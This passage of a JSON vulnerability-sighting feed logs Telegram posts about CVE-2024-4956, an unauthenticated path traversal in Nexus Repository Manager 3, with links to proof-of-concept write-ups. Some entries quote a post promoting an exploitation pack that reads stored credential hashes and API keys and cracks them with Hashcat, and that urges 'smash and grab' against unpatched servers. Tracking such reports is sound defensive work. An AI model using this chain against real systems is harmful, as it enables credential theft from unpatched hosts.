"d6d159ac-05d4-4591-974d-8ba108b851ba", "content": "https://github.com/gmh5225/CVE-2024-4956", "url": "https://t.me/cyberwarehouse/430"}, {"timestamp": "2026-07-29T12:02:14.756Z", "date_only": false, "value": "2026-07-29T12:02:14.756561Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/4485", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "4e0687ab-db91-41c2-a407-07f2e44ba0df", "content": "Nexus Repository Manager 3 Unauthenticated Path Traversal (CVE-2024-4956) #NexusRepositoryManager #CVE20244956 #Vulnerability #GitHub #Security https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2024-4956", "url": "https://t.me/reverseame/4485"}, {"timestamp": "2026-08-02T07:00:03.400Z", "date_only": false, "value": "2026-08-02T07:00:03.400652Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/4485", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "d21952d5-3582-4b9e-ab59-55d0a9dda6ef", "content": "Nexus Repository Manager 3 Unauthenticated Path Traversal (CVE-2024-4956) #NexusRepositoryManager #CVE20244956 #Vulnerability #GitHub #Security https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2024-4956", "url": "https://t.me/reverseame/4485"}, {"timestamp": "2026-09-01T20:00:32.939Z", "date_only": false, "value": "2026-09-01T20:00:32.939371Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/137611", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "b2a6ad66-5cf5-41a4-9fe5-c49835ca8e55", "content": "POC\u200a\u2014\u200aCVE-2024\u20134956 -Unauthenticated Path Traversal\nhttps://medium.com/@verylazytech/poc-cve-2024-4956-unauthenticated-path-traversal-f24b1a595e0e?source=rss------bug_bounty-5", "url": "https://t.me/hacking_Attack/137611"}, {"timestamp": "2026-09-01T20:00:32.983Z", "date_only": false, "value": "2026-09-01T20:00:32.983393Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/137613", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "4753f76c-8cc0-4661-bd75-9aaa880ba505", "content": "POC\u200a\u2014\u200aCVE-2024\u20134956\u200a\u2014\u200aNexus Repository Manager 3 Unauthenticated Path TraversalContinue reading on Medium \u00bb (https://medium.com/@verylazytech/poc-cve-2024-4956-unauthenticated-path-traversal-f24b1a595e0e?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/137613"}, {"timestamp": "2026-09-01T20:00:33.079Z", "date_only": false, "value": "2026-09-01T20:00:33.079582Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/137369", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "2511ce29-9f40-42ff-9881-c6f48a0f7a75", "content": "CVE-2024\u20134956: UNAUTHENTICATED PATH TRAVERSAL IN NEXUS REPOSITORY MANAGER 3\nhttps://codewithvamp.medium.com/cve-2024-4956-unauthenticated-path-traversal-in-nexus-repository-manager-3-b4e811ad7e37?source=rss------bug_bounty-5", "url": "https://t.me/hacking_Attack/137369"}, {"timestamp": "2026-09-01T20:00:33.124Z", "date_only": false, "value": "2026-09-01T20:00:33.124657Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/137371", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "0a38d062-66ca-438a-8fb3-11d3b6804a6e", "content": "The Nexus Repository Manager, a crucial tool for managing, storing, and distributing development artifacts, has recently been found to\u2026Continue reading on Medium \u00bb (https://codewithvamp.medium.com/cve-2024-4956-unauthenticated-path-traversal-in-nexus-repository-manager-3-b4e811ad7e37?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/137371"}, {"timestamp": "2026-09-01T20:00:33.170Z", "date_only": false, "value": "2026-09-01T20:00:33.170085Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/137525", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "a47e1e73-92f8-4a52-af6a-53500039b0c0", "content": "CVE-2024-4956 (Sonatype Repo 3) Exploitation Pack\nhttps://www.reddit.com/r/redteamsec/comments/1db6q4f/cve20244956_sonatype_repo_3_exploitation_pack/\n\nThe vulnerability allows unauthenticated remote attackers to read system files. The repository comes included with 155 known existing OrientDB .pcl file paths which contain data from hashed Apache Shiro 1 credentials to encrypted API keys and will automate writing found files to files on disk locally for analysis. Led to the creation of another repository linked in the shared repository above called \u201cShiro1Extractor\u201d which will extract Apache Shiro 1 hashes from OrientDB .pcl files. Led to the creation of an Apache Shiro 1 Hashcat module which is again linked in the repository I shared above. The module has a tested speed on a NVIDIA RTX 3090 of 2,663,100 hashes per second, with individual computation taking 202.11ms per batch. Instructions for using the module are available in the repository shared above. By chaining the following together, you may be able to hit some serious pay dirt on your next assessment! Smash and grab while instances are still vulnerable! Blog coming soon!    submitted by    /u/meterpretersession1  (https://www.reddit.com/user/meterpretersession1) \n [link] (https://github.com/fin3ss3g0d/CVE-2024-4956)   [comments] (https://www.reddit.com/r/redteamsec/comments/1db6q4f/cve20244956_sonatype_repo_3_exploitation_pack/)", "url": "https://t.me/hacking_Attack/137525"}, {"timestamp": "2026-09-03T20:00:06.211Z", "date_only": false, "value": "2026-09-03T20:00:06.211164Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/137525", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "bcbc1f5e-1575-42f5-94ef-b4e2c1289c9e", "content": "CVE-2024-4956 (Sonatype Repo 3) Exploitation Pack\nhttps://www.reddit.com/r/redteamsec/comments/1db6q4f/cve20244956_sonatype_repo_3_exploitation_pack/\n\nThe vulnerability allows unauthenticated remote attackers to read system files. The repository comes included with 155 known existing OrientDB .pcl file paths which contain data from hashed Apache Shiro 1 credentials to encrypted API keys and will automate writing found files to files on disk locally for analysis. Led to the creation of another repository linked in the shared repository above called \u201cShiro1Extractor\u201d which will extract Apache Shiro 1 hashes from OrientDB .pcl files. Led to the creation of an Apache Shiro 1 Hashcat module which is again linked in the repository I shared above. The module has a tested speed on a NVIDIA RTX 3090 of 2,663,100 hashes per second, with individual computation taking 202.11ms per batch. Instructions for using the module are available in the repository shared above. By chaining the following together, you may be able to hit some serious pay dirt on your next assessment! Smash and grab while instances are still vulnerable! Blog coming soon!    submitted by    /u/meterpretersession1  (https://www.reddit.com/user/meterpretersession1) \n [link] (https://github.com/fin3ss3g0d/CVE-2024-4956)   [comments] (https://www.reddit.com/r/redteamsec/comments/1db6q4f/cve20244956_sonatype_repo_3_exploitation_pack/)", "url": "https://t.me/hacking_Attack/137525"}, {"timestamp": "2026-09-03T20:00:06.264Z", "date_only": false, "value": "2026-09-03T20:00:06.264138Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/137371", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "14d6fafb-a9bd-490b-9bef-11759f3b80e1", "content": "The Nexus Repository Manager, a crucial tool for managing, storing, and distributing development artifacts, has recently been found to\u2026Continue reading on Medium \u00bb (https://codewithvamp.medium.com/cve-2024-4956-unauthenticated-path-traversal-in-nexus-repository-manager-3-b4e811ad7e37?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/137371"}, {"timestamp": "2026-09-03T20:00:06.320Z", "date_only": false, "value": "2026-09-03T20:00:06.320569Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/137369", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "f3c55478-09c7-41f3-908f-bb6cdc4dbb29", "content": "CVE-2024\u20134956: UNAUTHENTICATED PATH TRAVERSAL IN NEXUS REPOSITORY MANAGER 3\nhttps://codewithvamp.medium.com/cve-2024-4956-unauthenticated-path-traversal-in-nexus-repository-manager-3-b4e811ad7e37?source=rss------bug_bounty-5", "url": "https://t.me/hacking_Attack/137369"}, {"timestamp": "2026-09-03T20:00:06.458Z", "date_only": false, "value": "2026-09-03T20:00:06.458139Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/137613", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "decd7860-0783-44a7-a54b-45dbacb27e3c", "content": "POC\u200a\u2014\u200aCVE-2024\u20134956\u200a\u2014\u200aNexus Repository Manager 3 Unauthenticated Path TraversalContinue reading on Medium \u00bb (https://medium.com/@verylazytech/poc-cve-2024-4956-unauthenticated-path-traversal-f24b1a595e0e?source=rss------bug_bounty-5)", "url": "https://t.me/hacking_Attack/137613"}, {"timestamp": "2026-09-03T20:00:06.523Z", "date_only": false, "value": "2026-09-03T20:00:06.523318Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/137611", "record": "CVE-2024-4956", "field": "creation_timestamp", "uuid": "abd2ca82-6df8-47ef-9d61-427c32d24925", "content": "POC\u200a\u2014\u200aCVE-2024\u20134956 -Unauthenticated Path Traversal\nhttps://medium.com/@verylazytech/poc-cve-2024-4956-unauthenticated-path-traversal-f24b1a595e0e?source=rss------bug_bounty-5", "url": "https://t.me/hacking_Attack/137611"}]}